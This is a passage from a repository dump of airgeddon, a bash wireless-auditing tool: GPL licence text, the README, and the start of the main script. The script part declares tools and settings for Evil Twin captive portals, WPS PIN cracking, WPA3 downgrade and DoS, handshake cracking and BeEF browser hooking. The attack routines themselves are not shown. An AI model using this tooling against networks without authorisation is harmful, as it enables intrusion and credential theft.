Program or any portion of it. 11. Patents. A "contributor" is a copyright holder who authorizes use under this License of the Program or a work on which the Program is based. The work thus licensed is called the contributor's "contributor version". A contributor's "essential patent claims" are all patent claims owned or controlled by the contributor, whether already acquired or hereafter acquired, that would be infringed by some manner, permitted by this License, of making, using, or selling its contributor version, but do not include claims that would be infringed only as a consequence of further modification of the contributor version. For purposes of this definition, "control" includes the right to grant patent sublicenses in a manner consistent with the requirements of this License. Each contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor's essential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify and propagate the contents of its contributor version. In the following three paragraphs, a "patent license" is any express agreement or commitment, however denominated, not to enforce a patent (such as an express permission to practice a patent or covenant not to sue for patent infringement). To "grant" such a patent license to a party means to make such an agreement or commitment not to enforce a patent against the party. If you convey a covered work, knowingly relying on a patent license, and the Corresponding Source of the work is not available for anyone to copy, free of charge and under the terms of this License, through a publicly available network server or other readily accessible means, then you must either (1) cause the Corresponding Source to be so available, or (2) arrange to deprive yourself of the benefit of the patent license for this particular work, or (3) arrange, in a manner consistent with the requirements of this License, to extend the patent license to downstream recipients. "Knowingly relying" means you have actual knowledge that, but for the patent license, your conveying the covered work in a country, or your recipient's use of the covered work in a country, would infringe one or more identifiable patents in that country that you have reason to believe are valid. If, pursuant to or in connection with a single transaction or arrangement, you convey, or propagate by procuring conveyance of, a covered work, and grant a patent license to some of the parties receiving the covered work authorizing them to use, propagate, modify or convey a specific copy of the covered work, then the patent license you grant is automatically extended to all recipients of the covered work and works based on it. A patent license is "discriminatory" if it does not include within the scope of its coverage, prohibits the exercise of, or is conditioned on the non-exercise of one or more of the rights that are specifically granted under this License. You may not convey a covered work if you are a party to an arrangement with a third party that is in the business of distributing software, under which you make payment to the third party based on the extent of your activity of conveying the work, and under which the third party grants, to any of the parties who would receive the covered work from you, a discriminatory patent license (a) in connection with copies of the covered work conveyed by you (or copies made from those copies), or (b) primarily for and in connection with specific products or compilations that contain the covered work, unless you entered into that arrangement, or that patent license was granted, prior to 28 March 2007. Nothing in this License shall be construed as excluding or limiting any implied license or other defenses to infringement that may otherwise be available to you under applicable patent law. 12. No Surrender of Others' Freedom. If conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot convey a covered work so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not convey it at all. For example, if you agree to terms that obligate you to collect a royalty for further conveying from those to whom you convey the Program, the only way you could satisfy both those terms and this License would be to refrain entirely from conveying the Program. 13. Use with the GNU Affero General Public License. Notwithstanding any other provision of this License, you have permission to link or combine any covered work with a work licensed under version 3 of the GNU Affero General Public License into a single combined work, and to convey the resulting work. The terms of this License will continue to apply to the part which is the covered work, but the special requirements of the GNU Affero General Public License, section 13, concerning interaction through a network will apply to the combination as such. 14. Revised Versions of this License. The Free Software Foundation may publish revised and/or new versions of the GNU General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies that a certain numbered version of the GNU General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that numbered version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the GNU General Public License, you may choose any version ever published by the Free Software Foundation. If the Program specifies that a proxy can decide which future versions of the GNU General Public License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Program. Later license versions may give you additional or different permissions. However, no additional obligations are imposed on any author or copyright holder as a result of your choosing to follow a later version. 15. Disclaimer of Warranty. THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. Limitation of Liability. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. 17. Interpretation of Sections 15 and 16. If the disclaimer of warranty and limitation of liability provided above cannot be given local legal effect according to their terms, reviewing courts shall apply local law that most closely approximates an absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption of liability accompanies a copy of the Program in return for a fee. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively state the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . Also add information on how to contact you by electronic and paper mail. If the program does terminal interaction, make it output a short notice like this when it starts in an interactive mode: Copyright (C) This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, your program's commands might be different; for a GUI interface, you would use an "about box". You should also get your employer (if you work as a programmer) or school, if any, to sign a "copyright disclaimer" for the program, if necessary. For more information on this, and how to apply and follow the GNU GPL, see . The GNU General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. But first, please read . ================================================ FILE: README.md ================================================ # airgeddon [![Version-shield]](https://raw.githubusercontent.com/v1s1t0r1sh3r3/airgeddon/master/CHANGELOG.md) [![Bash4.2-shield]](http://tldp.org/LDP/abs/html/bashver4.html#AEN21220) [![License-shield]](https://raw.githubusercontent.com/v1s1t0r1sh3r3/airgeddon/master/LICENSE.md) [![Docker-shield]](https://hub.docker.com/r/v1s1t0r1sh3r3/airgeddon/) [![Discord-shield]](https://discord.gg/sQ9dgt9) [![Paypal-shield]](https://www.paypal.com/paypalme/airgeddon) [![Cryptocurrencies-shield]](https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Contributing-&-Code-of-Conduct) > This is a multi-use bash script for Linux systems to audit wireless networks. ![Banner] --- All the needed info about how to "install | use | enjoy" `airgeddon` is present at [GitHub's Wiki]. - *I. Content & Features* - [Home] - [Features] - [Screenshots] - [Wallpapers] - *II. Requirements* - [Requirements] - [Compatibility] - [Cards and Chipsets] - [Wayland] - [Consistent Network Device Naming] - [Kali Nethunter] - [Essential Tools] - [Optional Tools] - [BeEF Tips] - [Hashcat Tips] - [Bettercap Tips] - [Update Tools] - [Internal Tools] - [Known incompatibilities] - *III. Getting started* - [Installation & Usage] - [Options] - [Docker] - [Linux] - [Mac OSX] - [Windows] - [Other Sources] - [FAQ & Troubleshooting] - *IV. Learning* - [CWP Certification] - *V. Project & Development* - [Plugins system] - [Plugins development] - [Plugins Hall of Fame] - [Supported Languages] - [Contributing & Code of Conduct] - [Merchandising Online Shop] - [Changelog] - [Disclaimer & License] - [Contact] - *VI. Acknowledgments & References* - [Hat Tip To] - [Inspiration] --- [Banner]: https://raw.githubusercontent.com/v1s1t0r1sh3r3/airgeddon/master/imgs/banners/airgeddon_banner.png "We will conquer the earth!!" [GitHub's Wiki]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki [Home]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki [Features]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Features [Screenshots]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Screenshots [Wallpapers]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Wallpapers [Requirements]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Requirements [Compatibility]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Compatibility [Cards and Chipsets]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Cards%20and%20Chipsets [Wayland]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Wayland [Consistent Network Device Naming]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Consistent%20Network%20Device%20Naming [Kali Nethunter]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Kali%20Nethunter [Essential Tools]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Essential%20Tools [Optional Tools]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Optional%20Tools [BeEF Tips]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/BeEF%20Tips [Hashcat Tips]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Hashcat%20Tips [Bettercap Tips]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Bettercap%20Tips [Update Tools]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Update%20Tools [Internal Tools]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Internal%20Tools [Known incompatibilities]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Known%20incompatibilities [Installation & Usage]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Installation%20&%20Usage [Options]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Options [Docker]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker [Linux]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Linux [Mac OSX]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Mac%20OSX [Windows]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Windows [Other Sources]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Other%20Sources [FAQ & Troubleshooting]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/FAQ%20&%20Troubleshooting [CWP Certification]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/CWP%20Certification [Plugins system]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Plugins%20System [Plugins development]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Plugins%20Development [Plugins Hall of Fame]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Plugins%20Hall%20of%20Fame [Supported Languages]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Supported%20Languages [Contributing & Code of Conduct]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Contributing-&-Code-of-Conduct [Merchandising Online Shop]: https://airgeddon.creator-spring.com/ [Changelog]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Changelog [Disclaimer & License]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Disclaimer%20&%20License [Contact]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Contact [Hat Tip To]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Hat%20Tip%20To [Inspiration]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Inspiration [Version-shield]: https://img.shields.io/badge/version-11.61-blue.svg?style=flat-square&colorA=273133&colorB=0093ee "Latest version" [Bash4.2-shield]: https://img.shields.io/badge/bash-4.2%2B-blue.svg?style=flat-square&colorA=273133&colorB=00db00 "Bash 4.2 or later" [License-shield]: https://img.shields.io/badge/license-GPL%20v3%2B-blue.svg?style=flat-square&colorA=273133&colorB=bd0000 "GPL v3+" [Docker-shield]: https://img.shields.io/docker/automated/v1s1t0r1sh3r3/airgeddon.svg?style=flat-square&colorA=273133&colorB=a9a9a9 "Docker rules!" [Discord-shield]: https://img.shields.io/discord/629812069964840991.svg?style=flat-square&colorA=273133&colorB=CBA317&logo=discord&label=Discord%20chat [Paypal-shield]: https://img.shields.io/badge/donate-paypal-blue.svg?style=flat-square&colorA=273133&colorB=b008bb "Paypal" [Cryptocurrencies-shield]: https://img.shields.io/badge/donate-cryptocurrencies-blue.svg?style=flat-square&colorA=273133&colorB=f7931a "Cryptocurrencies" ================================================ FILE: airgeddon.sh ================================================ #!/usr/bin/env bash #Title........: airgeddon.sh #Description..: This is a multi-use bash script for Linux systems to audit wireless networks. #Author.......: v1s1t0r #Version......: 11.61 #Usage........: bash airgeddon.sh #Bash Version.: 4.2 or later #Global shellcheck disabled warnings #shellcheck disable=SC2154,SC2034 #Language vars #Change this line to select another default language. Select one from available values in array language="ENGLISH" declare -A lang_association=( ["en"]="ENGLISH" ["es"]="SPANISH" ["fr"]="FRENCH" ["ca"]="CATALAN" ["pt"]="PORTUGUESE" ["ru"]="RUSSIAN" ["gr"]="GREEK" ["it"]="ITALIAN" ["pl"]="POLISH" ["de"]="GERMAN" ["tr"]="TURKISH" ["ar"]="ARABIC" ["zh"]="CHINESE" ) rtl_languages=( "ARABIC" ) #Tools vars essential_tools_names=( "iw" "awk" "airmon-ng" "airodump-ng" "aircrack-ng" "xterm" "ip" "lspci" "ps" ) optional_tools_names=( "wpaclean" "crunch" "aireplay-ng" "mdk4" "hashcat" "hostapd" "dhcpd" "nft" "ettercap" "etterlog" "lighttpd" "dnsmasq" "wash" "reaver" "bully" "pixiewps" "bettercap" "beef" "packetforge-ng" "hostapd-wpe" "asleap" "john" "openssl" "hcxpcapngtool" "hcxdumptool" "tshark" "tcpdump" "besside-ng" "hostapd-mana" "hcxhash2cap" "hcxhashtool" ) update_tools=("curl") declare -A possible_package_names=( [${essential_tools_names[0]}]="iw" #iw [${essential_tools_names[1]}]="awk / gawk" #awk [${essential_tools_names[2]}]="aircrack-ng" #airmon-ng [${essential_tools_names[3]}]="aircrack-ng" #airodump-ng [${essential_tools_names[4]}]="aircrack-ng" #aircrack-ng [${essential_tools_names[5]}]="xterm" #xterm [${essential_tools_names[6]}]="iproute2" #ip [${essential_tools_names[7]}]="pciutils" #lspci [${essential_tools_names[8]}]="procps / procps-ng" #ps [${optional_tools_names[0]}]="aircrack-ng" #wpaclean [${optional_tools_names[1]}]="crunch" #crunch [${optional_tools_names[2]}]="aircrack-ng" #aireplay-ng [${optional_tools_names[3]}]="mdk4" #mdk4 [${optional_tools_names[4]}]="hashcat" #hashcat [${optional_tools_names[5]}]="hostapd" #hostapd [${optional_tools_names[6]}]="isc-dhcp-server / dhcp-server / dhcp" #dhcpd [${optional_tools_names[7]}]="nftables" #nft [${optional_tools_names[8]}]="ettercap / ettercap-text-only / ettercap-graphical" #ettercap [${optional_tools_names[9]}]="ettercap / ettercap-text-only / ettercap-graphical" #etterlog [${optional_tools_names[10]}]="lighttpd" #lighttpd [${optional_tools_names[11]}]="dnsmasq" #dnsmasq [${optional_tools_names[12]}]="reaver" #wash [${optional_tools_names[13]}]="reaver" #reaver [${optional_tools_names[14]}]="bully" #bully [${optional_tools_names[15]}]="pixiewps" #pixiewps [${optional_tools_names[16]}]="bettercap" #bettercap [${optional_tools_names[17]}]="beef-xss / beef-project" #beef [${optional_tools_names[18]}]="aircrack-ng" #packetforge-ng [${optional_tools_names[19]}]="hostapd-wpe" #hostapd-wpe [${optional_tools_names[20]}]="asleap" #asleap [${optional_tools_names[21]}]="john" #john [${optional_tools_names[22]}]="openssl" #openssl [${optional_tools_names[23]}]="hcxtools" #hcxpcapngtool [${optional_tools_names[24]}]="hcxdumptool" #hcxdumptool [${optional_tools_names[25]}]="tshark / wireshark-cli / wireshark" #tshark [${optional_tools_names[26]}]="tcpdump" #tcpdump [${optional_tools_names[27]}]="aircrack-ng" #besside-ng [${optional_tools_names[28]}]="hostapd-mana" #hostapd-mana [${optional_tools_names[29]}]="hcxtools" #hcxhash2cap [${optional_tools_names[30]}]="hcxtools" #hcxhashtool [${update_tools[0]}]="curl" #curl ) #More than one alias can be defined separated by spaces at value declare -A possible_alias_names=( ["beef"]="beef-xss beef-server" ) #General vars airgeddon_version="11.61" language_strings_expected_version="11.61-1" standardhandshake_filename="handshake-01.cap" standardpmkid_filename="pmkid_hash.txt" standardpmkidcap_filename="pmkid.cap" timeout_capture_handshake_decloak="20" timeout_capture_pmkid="45" timeout_capture_identities="45" timeout_certificates_analysis="45" timeout_wpa3_downgrade="25" osversionfile_dir="/etc/" plugins_dir="plugins/" ag_orchestrator_file="ag.orchestrator.txt" system_tmpdir="/tmp/" minimum_bash_version_required="4.2" resume_message=224 abort_question=12 pending_of_translation="[PoT]" escaped_pending_of_translation="\[PoT\]" standard_resolution="1024x768" curl_404_error="404: Not Found" rc_file_name=".airgeddonrc" alternative_rc_file_name="airgeddonrc" language_strings_file="language_strings.sh" broadcast_mac="FF:FF:FF:FF:FF:FF" minimum_hcxdumptool_filterap_version="6.0.0" minimum_hcxdumptool_bpf_version="6.3.0" #5Ghz vars ghz="Ghz" band_24ghz="2.4${ghz}" band_5ghz="5${ghz}" valid_channels_24_ghz_regexp="([1-9]|1[0-4])" valid_channels_24_and_5_ghz_regexp="([1-9]|1[0-4]|3[68]|4[02468]|5[02468]|6[024]|10[02468]|11[02468]|12[02468]|13[2468]|14[0249]|15[13579]|16[15])" minimum_wash_dualscan_version="1.6.5" #aircrack vars aircrack_tmp_simple_name_file="aircrack" aircrack_pot_tmp="${aircrack_tmp_simple_name_file}.pot" aircrack_pmkid_version="1.4" #hashcat vars hashcat3_version="3.0" hashcat4_version="4.0.0" hashcat_hccapx_version="3.40" hashcat_hcx_conversion_version="6.2.0" minimum_hashcat_pmkid_version="6.0.0" hashcat_2500_deprecated_version="6.2.4" hashcat_handshake_cracking_plugin="2500" hashcat_pmkid_cracking_plugin="22000" hashcat_enterprise_cracking_plugin="5500" hashcat_tmp_simple_name_file="hctmp" hashcat_tmp_file="${hashcat_tmp_simple_name_file}.hccap" hashcat_pot_tmp="${hashcat_tmp_simple_name_file}.pot" hashcat_output_file="${hashcat_tmp_simple_name_file}.out" hccapx_tool="cap2hccapx" possible_hccapx_converter_known_locations=( "/usr/lib/hashcat-utils/${hccapx_tool}.bin" ) #john the ripper vars jtr_tmp_simple_name_file="jtrtmp" jtr_pot_tmp="${jtr_tmp_simple_name_file}.pot" jtr_output_file="${jtr_tmp_simple_name_file}.out" #WEP vars wep_data="wepdata" wepdir="wep/" wep_attack_file="ag.wepattack.sh" wep_key_handler="ag.wep_key_handler.sh" wep_processes_file="wep_processes" wep_besside_log="ag.besside.log" #WPA3 vars aircrack_wpa3_version="1.7" plugin_x="under_construction_message" plugin_x_under_construction="under_construction" plugin_y="under_construction_message" plugin_y_under_construction="under_construction" plugin_z="under_construction_message" plugin_z_under_construction="under_construction" #Docker vars docker_based_distro="Kali" docker_io_dir="/io/" #WPS vars minimum_reaver_pixiewps_version="1.5.2" minimum_reaver_nullpin_version="1.6.1" minimum_bully_pixiewps_version="1.1" minimum_bully_verbosity4_version="1.1" minimum_wash_json_version="1.6.2" known_pins_dbfile="known_pins.db" pins_dbfile_checksum="pindb_checksum.txt" wps_default_generic_pin="12345670" wps_attack_script_file="ag.wpsattack.sh" wps_out_file="ag.wpsout.txt" timeout_secs_per_pin="30" timeout_secs_per_pixiedust="30" #Repository and contact vars repository_hostname="github.com" github_user="v1s1t0r1sh3r3" github_repository="airgeddon" branch="master" script_filename="airgeddon.sh" urlgithub="https://${repository_hostname}/${github_user}/${github_repository}" urlscript_directlink="https://raw.githubusercontent.com/${github_user}/${github_repository}/${branch}/${script_filename}" urlscript_pins_dbfile="https://raw.githubusercontent.com/${github_user}/${github_repository}/${branch}/${known_pins_dbfile}" urlscript_pins_dbfile_checksum="https://raw.githubusercontent.com/${github_user}/${github_repository}/${branch}/${pins_dbfile_checksum}" urlscript_language_strings_file="https://raw.githubusercontent.com/${github_user}/${github_repository}/${branch}/${language_strings_file}" urlscript_options_config_file="https://raw.githubusercontent.com/${github_user}/${github_repository}/${branch}/${rc_file_name}" urlgithub_wiki="https://${repository_hostname}/${github_user}/${github_repository}/wiki" urlmerchandising_shop="https://airgeddon.creator-spring.com/" mail="v1s1t0r.1s.h3r3@gmail.com" author="v1s1t0r" wpa3_online_attack_plugin_repo="https://${repository_hostname}/OscarAkaElvis/airgeddon-plugins" wpa3_dragon_drain_plugin_repo="https://${repository_hostname}/Janek79ax/dragon-drain-wpa3-airgeddon-plugin" wpa3_cookie_guzzler_plugin_repo="https://${repository_hostname}/OscarAkaElvis/airgeddon-plugins" #Dhcpd, Hostapd, Hostapd-wpe, Hostapd-mana and misc Evil Twin vars loopback_ip="127.0.0.1" loopback_ipv6="::1/128" loopback_interface="lo" routing_tmp_file="ag.iptables_nftables" dhcpd_file="ag.dhcpd.conf" dhcpd_pid_file="dhcpd.pid" dnsmasq_file="ag.dnsmasq.conf" internet_dns1="8.8.8.8" internet_dns2="8.8.4.4" internet_dns3="139.130.4.5" bettercap_proxy_port="8080" bettercap_dns_port="5300" dns_port="53" dhcp_port="67" www_port="80" https_port="443" minimum_bettercap_advanced_options="1.5.9" minimum_bettercap_fixed_beef_iptables_issue="1.6.2" bettercap2_version="2.0" bettercap2_sslstrip_working_version="2.28" ettercap_file="ag.ettercap.log" bettercap_file="ag.bettercap.log" bettercap_config_file="ag.bettercap.cap" bettercap_hook_file="ag.bettercap.js" beef_port="3000" beef_control_panel_url="http://${loopback_ip}:${beef_port}/ui/panel" jshookfile="hook.js" beef_file="ag.beef.conf" beef_pass="airgeddon" beef_db="beef.db" beef_default_cfg_file="config.yaml" beef_needed_brackets_version="0.4.7.2" beef_installation_url="https://${repository_hostname}/beefproject/beef/wiki/Installation" hostapd_file="ag.hostapd.conf" hostapd_wifi7_version="2.12" hostapd_wpe_wifi7_version="2.12" hostapd_wpe_file="ag.hostapd_wpe.conf" hostapd_wpe_log="ag.hostapd_wpe.log" hostapd_wpe_default_log="hostapd-wpe.log" hostapd_mana_file="ag.hostapd_mana.conf" hostapd_mana_log="ag.hostapd_mana.log" hostapd_mana_out="ag.hostapd_mana.hccapx" control_et_file="ag.et_control.sh" control_enterprise_file="ag.enterprise_control.sh" enterprisedir="enterprise/" certsdir="certs/" certspass="airgeddon" default_certs_path="/etc/hostapd-wpe/certs/" default_certs_pass="whatever" mana_pass="airgeddon" mana_cap_file="ag.mana.cap" mana_tmp_file="ag.mana.txt" webserver_file="ag.lighttpd.conf" webserver_log="ag.lighttpd.log" webdir="www/" indexfile="index.htm" checkfile="check.htm" cssfile="portal.css" jsfile="portal.js" pixelfile="pixel.png" attemptsfile="ag.et_attempts.txt" currentpassfile="ag.et_currentpass.txt" et_successfile="ag.et_success.txt" enterprise_successfile="ag.enterprise_success.txt" et_processesfile="ag.et_processes.txt" asleap_pot_tmp="ag.asleap_tmp.txt" channelfile="ag.et_channel.txt" customportals_php_as_cgi=1 possible_dhcp_leases_files=( "/var/lib/dhcp/dhcpd.leases" "/var/state/dhcp/dhcpd.leases" "/var/lib/dhcpd/dhcpd.leases" ) possible_beef_known_locations=( "/usr/share/beef/" "/usr/share/beef-xss/" "/opt/beef/" "/opt/beef-project/" "/usr/lib/beef/" #Custom BeEF location (set=0) ) #Connection vars ips_to_check_internet=( "${internet_dns1}" "${internet_dns2}" "${internet_dns3}" ) #Distros vars known_compatible_distros=( "Wifislax" "Kali" "Parrot" "Backbox" "BlackArch" "Cyborg" "Ubuntu" "Mint" "Debian" "SuSE" "CentOS" "Gentoo" "Fedora" "Red Hat" "Arch" "OpenMandriva" "Pentoo" "Manjaro" "CachyOS" "Puppy" ) known_incompatible_distros=( "Microsoft" ) known_arm_compatible_distros=( "Raspbian" "Raspberry Pi OS" "Parrot arm" "Kali arm" ) #Sponsors sponsors=( "Raleigh2016" "hmmlopl" "codythebeast89" "Kaliscandinavia" "Furrycoder" "Jonathon Coy" "Matthew Ebert" ) #Hint vars declare main_hints=(128 134 163 437 438 442 445 516 590 626 660 697 699 712 739) declare dos_hints=(129 131 133 697 699) declare handshake_pmkid_decloaking_hints=(127 130 132 664 665 697 699 728 729) declare dos_handshake_decloak_hints=(142 697 699 733 739) declare dos_info_gathering_enterprise_hints=(697 699 733 739) declare decrypt_hints=(171 179 208 244 163 697 699) declare personal_decrypt_hints=(171 178 179 208 244 163 697 699) declare enterprise_decrypt_hints=(171 179 208 244 163 610 697 699) declare select_interface_hints=(246 697 699 712 739) declare language_hints=(250 438) declare option_hints=(445 250 448 477 591 626 697 699) declare evil_twin_hints=(254 258 264 269 309 328 400 509 697 699 739) declare evil_twin_dos_hints=(267 268 509 697 699) declare wpa3_dos_hints=(267 268 697 699 777) declare beef_hints=(408) declare wps_hints=(342 343 344 356 369 390 490 625 697 699 739) declare wep_hints=(431 429 428 432 433 697 699 739) declare enterprise_hints=(112 332 483 518 629 301 697 699 739 742) declare wpa3_hints=(128 134 437 438 442 445 516 590 626 660 697 699 764) #Charset vars crunch_lowercasecharset="abcdefghijklmnopqrstuvwxyz" crunch_uppercasecharset="ABCDEFGHIJKLMNOPQRSTUVWXYZ" crunch_numbercharset="0123456789" crunch_symbolcharset="!#$%/=?{}[]-*:;" hashcat_charsets=("?l" "?u" "?d" "?s") #Tmux vars airgeddon_uid="" session_name="airgeddon" tmux_main_window="airgeddon-Main" no_hardcore_exit=0 #Check coherence between script and language_strings file function check_language_strings() { debug_print if [ -f "${scriptfolder}${language_strings_file}" ]; then language_file_found=1 language_file_mismatch=0 #shellcheck source=./language_strings.sh source "${scriptfolder}${language_strings_file}" set_language_strings_version if [ "${language_strings_version}" != "${language_strings_expected_version}" ]; then language_file_mismatch=1 fi else language_file_found=0 fi if [[ "${language_file_found}" -eq 0 ]] || [[ "${language_file_mismatch}" -eq 1 ]]; then language_strings_handling_messages generate_dynamic_line "airgeddon" "title" if [ "${language_file_found}" -eq 0 ]; then echo_red "${language_strings_no_file[${language}]}" if [ "${airgeddon_version}" = "6.1" ]; then echo echo_yellow "${language_strings_first_time[${language}]}" fi elif [ "${language_file_mismatch}" -eq 1 ]; then echo_red "${language_strings_file_mismatch[${language}]}" fi echo echo_blue "${language_strings_try_to_download[${language}]}" read -p "${language_strings_key_to_continue[${language}]}" -r if check_repository_access; then if download_language_strings_file; then echo echo_yellow "${language_strings_successfully_downloaded[${language}]}" read -p "${language_strings_key_to_continue[${language}]}" -r clear return 0 else echo echo_red "${language_strings_failed_downloading[${language}]}" fi else echo echo_red "${language_strings_failed_downloading[${language}]}" fi echo echo_blue "${language_strings_exiting[${language}]}" echo hardcore_exit fi } #Download the language strings file function download_language_strings_file() { debug_print local lang_file_downloaded=0 remote_language_strings_file=$(timeout -s SIGTERM 15 curl -L ${urlscript_language_strings_file} 2> /dev/null) if [[ -n "${remote_language_strings_file}" ]] && [[ "${remote_language_strings_file}" != "${curl_404_error}" ]]; then lang_file_downloaded=1 else http_proxy_detect if [ "${http_proxy_set}" -eq 1 ]; then remote_language_strings_file=$(timeout -s SIGTERM 15 curl --proxy "${http_proxy}" -L ${urlscript_language_strings_file} 2> /dev/null) if [[ -n "${remote_language_strings_file}" ]] && [[ "${remote_language_strings_file}" != "${curl_404_error}" ]]; then lang_file_downloaded=1 fi fi fi if [ "${lang_file_downloaded}" -eq 1 ]; then echo "${remote_language_strings_file}" > "${scriptfolder}${language_strings_file}" chmod +x "${scriptfolder}${language_strings_file}" > /dev/null 2>&1 #shellcheck source=./language_strings.sh source "${scriptfolder}${language_strings_file}" return 0 else return 1 fi } #Set messages for language_strings handling function language_strings_handling_messages() { declare -gA language_strings_no_file language_strings_no_file["ENGLISH"]="Error. Language strings file not found" language_strings_no_file["SPANISH"]="Error. No se ha encontrado el fichero de traducciones" language_strings_no_file["FRENCH"]="Erreur. Fichier contenant les traductions absent" language_strings_no_file["CATALAN"]="Error. No s'ha trobat el fitxer de traduccions" language_strings_no_file["PORTUGUESE"]="Erro. O arquivo de tradução não foi encontrado" language_strings_no_file["RUSSIAN"]="Ошибка. Не найден языковой файл" language_strings_no_file["GREEK"]="Σφάλμα. Το αρχείο γλωσσών δεν βρέθηκε" language_strings_no_file["ITALIAN"]="Errore. Non si trova il file delle traduzioni" language_strings_no_file["POLISH"]="Błąd. Nie znaleziono pliku tłumaczenia" language_strings_no_file["GERMAN"]="Fehler. Die Übersetzungsdatei wurde nicht gefunden" language_strings_no_file["TURKISH"]="Hata. Çeviri dosyası bulunamadı" language_strings_no_file["ARABIC"]="خطأ. ملف اللغة غير موجود" language_strings_no_file["CHINESE"]="错误。未找到语言支持文件" declare -gA language_strings_file_mismatch language_strings_file_mismatch["ENGLISH"]="Error. The language strings file found mismatches expected version" language_strings_file_mismatch["SPANISH"]="Error. El fichero de traducciones encontrado no es la versión esperada" language_strings_file_mismatch["FRENCH"]="Erreur. Les traductions trouvées ne sont pas celles attendues" language_strings_file_mismatch["CATALAN"]="Error. El fitxer de traduccions trobat no és la versió esperada" language_strings_file_mismatch["PORTUGUESE"]="Erro. O a versão do arquivos de tradução encontrado é a incompatível" 